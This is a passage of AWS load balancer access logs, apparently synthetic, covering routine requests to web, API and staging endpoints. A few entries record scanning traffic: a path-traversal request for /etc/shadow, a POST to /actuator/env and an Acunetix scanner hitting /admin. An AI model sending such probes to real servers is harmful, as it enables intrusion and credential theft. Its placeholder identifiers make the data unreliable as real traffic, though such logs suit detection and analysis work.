TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd5e-421e2c9432ee4c51a22bdcf7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:41:18.046937Z "forward" "-" "-" "10.0.36.67:443" "404" "-" "-" +https 2024-11-01T02:41:19.780053Z prod-web-alb 75.156.25.87:25913 10.0.57.39:443 0.057695 0.136357 0.007686 301 301 290 11015 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd5f-39ea427d58a54f368a33a14b" "prod-web-alb.example.com" "-" 3 2024-11-01T02:41:19.780053Z "forward" "-" "-" "10.0.57.39:443" "301" "-" "-" +https 2024-11-01T02:41:21.264913Z prod-api-alb 69.122.77.94:59569 10.0.233.31:443 0.034079 0.176121 0.028928 200 200 546 14112 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd61-a7dcdd349c12400bb6a66a85" "prod-api-alb.example.com" "-" 10 2024-11-01T02:41:21.264913Z "forward" "-" "-" "10.0.233.31:443" "200" "-" "-" +https 2024-11-01T02:41:23.068732Z staging-alb 231.242.63.215:24989 136.120.150.165:8080 0.013210 0.686111 0.060621 302 302 489 2375 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd63-8f03a5bc611a4a7cbc608fc7" "staging-alb.example.com" "-" 4 2024-11-01T02:41:23.068732Z "forward" "-" "-" "136.120.150.165:8080" "302" "-" "-" +https 2024-11-01T02:41:24.303959Z staging-alb 223.79.50.108:34700 251.232.46.62:80 0.127600 0.577263 0.124112 200 200 99 10320 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd64-6cd5fa7dce104ddeae79a00a" "staging-alb.example.com" "-" 3 2024-11-01T02:41:24.303959Z "forward" "-" "-" "251.232.46.62:80" "200" "-" "-" +https 2024-11-01T02:41:25.307245Z staging-alb 180.22.220.24:31238 37.49.25.42:8080 0.041167 0.664084 0.013030 404 404 725 7734 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd65-17944151add743a68e397300" "staging-alb.example.com" "-" 9 2024-11-01T02:41:25.307245Z "forward" "-" "-" "37.49.25.42:8080" "404" "-" "-" +https 2024-11-01T02:41:26.688774Z prod-web-alb 195.36.224.148:31409 10.0.15.27:443 0.083241 0.054473 0.035546 200 200 844 6308 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd66-ba612de140484fbc8151869d" "prod-web-alb.example.com" "-" 6 2024-11-01T02:41:26.688774Z "forward" "-" "-" "10.0.15.27:443" "200" "-" "-" +https 2024-11-01T02:41:27.416191Z prod-web-alb 27.240.60.27:53760 10.0.98.74:443 0.018946 0.382167 0.028380 200 200 719 6672 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd67-94f2e35965ff45098b811115" "prod-web-alb.example.com" "-" 8 2024-11-01T02:41:27.416191Z "forward" "-" "-" "10.0.98.74:443" "200" "-" "-" +https 2024-11-01T02:41:29.336748Z prod-api-alb 186.62.172.89:38092 10.0.49.16:443 0.088208 0.364354 0.022190 200 200 553 11596 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd69-322db70650ca492087baf265" "prod-api-alb.example.com" "-" 9 2024-11-01T02:41:29.336748Z "forward" "-" "-" "10.0.49.16:443" "200" "-" "-" +https 2024-11-01T02:41:29.510379Z prod-api-alb 18.238.108.212:25693 10.0.3.86:443 0.008160 0.320177 0.076889 301 301 609 3153 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd69-0364125439e94203892cb5c9" "prod-api-alb.example.com" "-" 4 2024-11-01T02:41:29.510379Z "forward" "-" "-" "10.0.3.86:443" "301" "-" "-" +https 2024-11-01T02:41:30.495456Z prod-web-alb 181.255.4.48:50186 10.0.131.109:443 0.025021 0.232100 0.017489 301 301 850 14041 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd6a-72a24c68c16342d59d2b8a82" "prod-web-alb.example.com" "-" 3 2024-11-01T02:41:30.495456Z "forward" "-" "-" "10.0.131.109:443" "301" "-" "-" +https 2024-11-01T02:41:31.351644Z prod-api-alb 179.176.53.202:34756 10.0.179.27:443 0.071546 0.353986 0.013626 200 200 766 8060 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd6b-7ac3224ebc764abb8ecab9ad" "prod-api-alb.example.com" "-" 1 2024-11-01T02:41:31.351644Z "forward" "-" "-" "10.0.179.27:443" "200" "-" "-" +https 2024-11-01T02:41:32.534447Z prod-web-alb 90.75.253.250:41321 10.0.10.44:443 0.011211 0.205157 0.089628 302 302 36 11396 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd6c-1caa70b4a99c4ea589a283ca" "prod-web-alb.example.com" "-" 7 2024-11-01T02:41:32.534447Z "forward" "-" "-" "10.0.10.44:443" "302" "-" "-" +https 2024-11-01T02:41:33.268183Z staging-alb 69.170.87.39:19356 220.249.163.182:80 0.007196 0.721062 0.058307 200 200 443 6817 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd6d-332f024f718d469abcd49857" "staging-alb.example.com" "-" 4 2024-11-01T02:41:33.268183Z "forward" "-" "-" "220.249.163.182:80" "200" "-" "-" +https 2024-11-01T02:41:34.462896Z prod-web-alb 165.160.134.81:37221 10.0.128.6:443 0.052563 0.263732 0.081108 200 200 897 10327 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd6e-1e1e350b4f1c451ba2183c1f" "prod-web-alb.example.com" "-" 1 2024-11-01T02:41:34.462896Z "forward" "-" "-" "10.0.128.6:443" "200" "-" "-" +https 2024-11-01T02:41:35.012587Z prod-api-alb 181.107.112.46:13519 10.0.84.39:443 0.050635 0.168784 0.068129 200 200 98 12102 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd6f-8436e958a75f47ad90477fd2" "prod-api-alb.example.com" "-" 1 2024-11-01T02:41:35.012587Z "forward" "-" "-" "10.0.84.39:443" "200" "-" "-" +https 2024-11-01T02:41:36.209847Z staging-alb 0.151.50.86:21045 41.91.28.23:8080 0.105019 0.699613 0.039777 200 200 180 7623 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd70-d1b616bbc1a14783a6ead97e" "staging-alb.example.com" "-" 10 2024-11-01T02:41:36.209847Z "forward" "-" "-" "41.91.28.23:8080" "200" "-" "-" +https 2024-11-01T02:41:37.353851Z prod-api-alb 235.77.67.78:17354 10.0.246.75:443 0.091497 0.462823 0.077783 200 200 122 8349 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd71-78837ebf6a074f6c978bc453" "prod-api-alb.example.com" "-" 2 2024-11-01T02:41:37.353851Z "forward" "-" "-" "10.0.246.75:443" "200" "-" "-" +https 2024-11-01T02:41:39.285608Z staging-alb 243.247.220.33:24158 222.5.98.172:8080 0.074318 0.003511 0.099224 200 200 897 3396 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dd73-7ab31d9a7da149d2b58353df" "staging-alb.example.com" "-" 2 2024-11-01T02:41:39.285608Z "forward" "-" "-" "222.5.98.172:8080" "200" "-" "-" +https 2024-11-01T02:41:40.406414Z prod-web-alb 193.27.228.26:33356 10.0.62.49:443 0.067586 0.197421 0.087678 404 404 486 10961 "GET /images/../../../../etc/shadow HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd74-8e58ca1eccc14d8e885eba87" "-" "-" 7 2024-11-01T02:41:40.406414Z "forward" "-" "-" "10.0.62.49:443" "404" "-" "-" +https 2024-11-01T02:41:40.640184Z prod-api-alb 2.157.230.71:41018 10.0.56.100:443 0.022507 0.438520 0.030141 404 404 274 1258 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd74-16e4964ccb624f329943fa30" "prod-api-alb.example.com" "-" 2 2024-11-01T02:41:40.640184Z "forward" "-" "-" "10.0.56.100:443" "404" "-" "-" +http 2024-11-01T02:41:41.059739Z staging-alb 195.0.220.137:40475 152.139.99.18:8080 0.060165 0.222039 0.091166 301 301 260 740 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd75-4e5bd006d3e8445090eed991" "staging-alb.example.com" "-" 0 2024-11-01T02:41:41.059739Z "forward" "-" "-" "152.139.99.18:8080" "301" "-" "-" +https 2024-11-01T02:41:41.865070Z prod-web-alb 37.130.169.103:36697 10.0.40.239:443 0.050266 0.420224 0.036976 200 200 934 788 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd75-5ec214f2a98149bba9b80b1f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:41:41.865070Z "forward" "-" "-" "10.0.40.239:443" "200" "-" "-" +https 2024-11-01T02:41:43.107947Z prod-web-alb 193.27.228.139:22419 10.0.179.61:443 0.026187 0.031966 0.027920 403 403 721 4998 "POST /actuator/env HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd77-d61434a6a3c2466d9f5dcc20" "-" "-" 4 2024-11-01T02:41:43.107947Z "forward" "-" "-" "10.0.179.61:443" "403" "-" "-" +https 2024-11-01T02:41:43.627104Z prod-web-alb 177.108.47.168:32369 10.0.131.96:443 0.071673 0.277067 0.049695 301 301 485 5902 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd77-6551072aea0e40478f2c4800" "prod-web-alb.example.com" "-" 0 2024-11-01T02:41:43.627104Z "forward" "-" "-" "10.0.131.96:443" "301" "-" "-" +https 2024-11-01T02:41:44.035414Z prod-web-alb 34.70.93.70:27356 10.0.222.252:443 0.032375 0.479304 0.007893 404 404 390 14545 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd78-7f16925137cb4023a88a3841" "-" "-" 3 2024-11-01T02:41:44.035414Z "forward" "-" "-" "10.0.222.252:443" "404" "-" "-" +https 2024-11-01T02:41:44.852440Z prod-web-alb 168.11.94.44:48532 10.0.10.138:443 0.069601 0.457873 0.032818 200 200 933 3374 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd78-1ef97d35e2674ec6b0a210e0" "prod-web-alb.example.com" "-" 7 2024-11-01T02:41:44.852440Z "forward" "-" "-" "10.0.10.138:443" "200" "-" "-" +https 2024-11-01T02:41:46.387482Z prod-api-alb 16.116.93.77:50339 10.0.121.102:443 0.023902 0.404832 0.037023 200 200 930 12809 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd7a-681de66fd52142dba1b54cd8" "prod-api-alb.example.com" "-" 4 2024-11-01T02:41:46.387482Z "forward" "-" "-" "10.0.121.102:443" "200" "-" "-" +https 2024-11-01T02:41:47.855550Z prod-api-alb 183.158.209.247:22745 10.0.189.105:443 0.062578 0.039190 0.032635 302 302 924 8347 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd7b-d5757f8ade08499bbe94f751" "prod-api-alb.example.com" "-" 4 2024-11-01T02:41:47.855550Z "forward" "-" "-" "10.0.189.105:443" "302" "-" "-" +https 2024-11-01T02:41:49.057388Z prod-api-alb 98.139.181.107:41197 10.0.152.129:443 0.083817 0.459007 0.040358 302 302 166 14936 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd7d-d2663cd48a294e76a2b9d783" "prod-api-alb.example.com" "-" 6 2024-11-01T02:41:49.057388Z "forward" "-" "-" "10.0.152.129:443" "302" "-" "-" +https 2024-11-01T02:41:49.934004Z prod-api-alb 80.81.202.100:64471 10.0.149.104:443 0.053293 0.346531 0.086854 200 200 566 674 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd7d-e2682c0fca314fc1be8a8c55" "prod-api-alb.example.com" "-" 10 2024-11-01T02:41:49.934004Z "forward" "-" "-" "10.0.149.104:443" "200" "-" "-" +https 2024-11-01T02:41:51.395941Z prod-api-alb 148.65.252.170:16781 10.0.194.251:443 0.060359 0.001742 0.057150 200 200 327 10547 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd7f-ed6316aa8de2446b8c399c34" "prod-api-alb.example.com" "-" 9 2024-11-01T02:41:51.395941Z "forward" "-" "-" "10.0.194.251:443" "200" "-" "-" +https 2024-11-01T02:41:51.968020Z prod-api-alb 57.67.30.196:11039 10.0.68.216:443 0.090719 0.107636 0.056697 200 200 211 10783 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd7f-df98c75697034bb0a60a6bc9" "prod-api-alb.example.com" "-" 7 2024-11-01T02:41:51.968020Z "forward" "-" "-" "10.0.68.216:443" "200" "-" "-" +https 2024-11-01T02:41:52.180714Z prod-api-alb 129.73.179.41:59452 10.0.37.164:443 0.073187 0.468874 0.011633 302 302 412 6561 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dd80-986f9fc9cd1b4bc180bbe940" "-" "-" 4 2024-11-01T02:41:52.180714Z "forward" "-" "-" "10.0.37.164:443" "302" "-" "-" +https 2024-11-01T02:41:53.703055Z prod-api-alb 225.19.139.99:34965 10.0.175.52:443 0.005954 0.412053 0.029064 404 404 825 6910 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd81-4869e019f73d40868ba33f30" "prod-api-alb.example.com" "-" 8 2024-11-01T02:41:53.703055Z "forward" "-" "-" "10.0.175.52:443" "404" "-" "-" +https 2024-11-01T02:41:54.450725Z prod-web-alb 45.162.238.198:30830 10.0.31.244:443 0.037123 0.393486 0.024998 200 200 410 6349 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd82-84d9e65f706b427f81cc289e" "prod-web-alb.example.com" "-" 3 2024-11-01T02:41:54.450725Z "forward" "-" "-" "10.0.31.244:443" "200" "-" "-" +http 2024-11-01T02:41:54.616922Z staging-alb 176.22.90.238:39883 130.145.51.144:8080 0.025926 0.243908 0.001676 200 200 758 2586 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd82-033f1cb8748d409abcc0ca75" "staging-alb.example.com" "-" 2 2024-11-01T02:41:54.616922Z "forward" "-" "-" "130.145.51.144:8080" "200" "-" "-" +https 2024-11-01T02:41:54.786446Z prod-api-alb 98.197.81.245:59705 10.0.70.159:443 0.093857 0.324081 0.087895 200 200 998 11654 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd82-cc63f4cab03a4d79b4b12207" "prod-api-alb.example.com" "-" 6 2024-11-01T02:41:54.786446Z "forward" "-" "-" "10.0.70.159:443" "200" "-" "-" +https 2024-11-01T02:41:55.393520Z staging-alb 39.222.168.185:34670 66.111.206.236:80 0.032280 0.667864 0.041106 200 200 185 13759 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd83-4d5591ed4bca45c8b0c8b4f1" "staging-alb.example.com" "-" 7 2024-11-01T02:41:55.393520Z "forward" "-" "-" "66.111.206.236:80" "200" "-" "-" +https 2024-11-01T02:41:56.204716Z staging-alb 218.167.51.16:47912 78.57.22.186:8080 0.035772 0.171337 0.000655 200 200 959 3894 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd84-a4c0bbd9064347178e2622c2" "staging-alb.example.com" "-" 3 2024-11-01T02:41:56.204716Z "forward" "-" "-" "78.57.22.186:8080" "200" "-" "-" +https 2024-11-01T02:41:58.177331Z prod-web-alb 144.170.64.213:37571 10.0.191.108:443 0.072121 0.230289 0.057082 404 404 285 13608 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd86-6dd70a8618b140a3af351663" "prod-web-alb.example.com" "-" 7 2024-11-01T02:41:58.177331Z "forward" "-" "-" "10.0.191.108:443" "404" "-" "-" +http 2024-11-01T02:41:59.692882Z staging-alb 81.214.99.205:25582 181.248.60.185:8080 0.033772 0.169378 0.014995 200 200 231 10259 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd87-e72ce8bd144e44f99cea7fb3" "staging-alb.example.com" "-" 7 2024-11-01T02:41:59.692882Z "forward" "-" "-" "181.248.60.185:8080" "200" "-" "-" +https 2024-11-01T02:41:59.852715Z prod-web-alb 185.181.101.174:26924 10.0.151.149:443 0.092934 0.027966 0.001913 301 301 602 7510 "POST /admin HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dd87-56f2c09e6b3e41e286ebd046" "-" "-" 0 2024-11-01T02:41:59.852715Z "forward" "-" "-" "10.0.151.149:443" "301" "-" "-" +https 2024-11-01T02:42:00.057340Z prod-api-alb 232.164.242.253:18688 10.0.226.6:443 0.095440 0.062137 0.005105 302 302 91 14014 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd88-34a4466a70024ddb81219ecf" "prod-api-alb.example.com" "-" 7 2024-11-01T02:42:00.057340Z "forward" "-" "-" "10.0.226.6:443" "302" "-" "-" +http 2024-11-01T02:42:02.045162Z staging-alb 82.118.78.107:12603 72.65.242.86:80 0.015225 0.264224 0.036938 200 200 422 8861 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd8a-8c1b1c6ccb0e43248a2dccfb" "staging-alb.example.com" "-" 2 2024-11-01T02:42:02.045162Z "forward" "-" "-" "72.65.242.86:80" "200" "-" "-" +https 2024-11-01T02:42:02.183444Z prod-web-alb 97.224.155.195:60819 10.0.78.239:443 0.087990 0.433914 0.009178 404 404 293 11053 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dd8a-84dec3b8bc0148dba20502c2" "prod-web-alb.example.com" "-" 7 2024-11-01T02:42:02.183444Z "forward" "-" "-" "10.0.78.239:443" "404" "-" "-" +https 2024-11-01T02:42:02.377657Z staging-alb 210.221.133.107:40802 219.47.140.119:443 0.132278 0.657188 0.021065 404 404 369 12674 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dd8a-d8fc2a0fc33b4f4a8b183498" "staging-alb.example.com" "-" 2 2024-11-01T02:42:02.377657Z "forward" "-" "-" "219.47.140.119:443" "404" "-" "-" +https 2024-11-01T02:42:04.132301Z prod-api-alb 123.102.72.112:24884 10.0.175.137:443 0.066454 0.282442 0.060561 301 301 367 12875 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dd8c-fbda6be7c04c45bea4aafdfe" "prod-api-alb.example.com" "-" 5 2024-11-01T02:42:04.132301Z "forward" "-" "-" "10.0.175.137:443" "301" "-" "-" +https 2024-11-01T02:42:05.852632Z prod-api-alb 87.235.182.239:21471 10.0.174.159:443 0.007753 0.033343 0.089530 302 302 110 5016 "GET /api/v1/products HTTP/1.1" 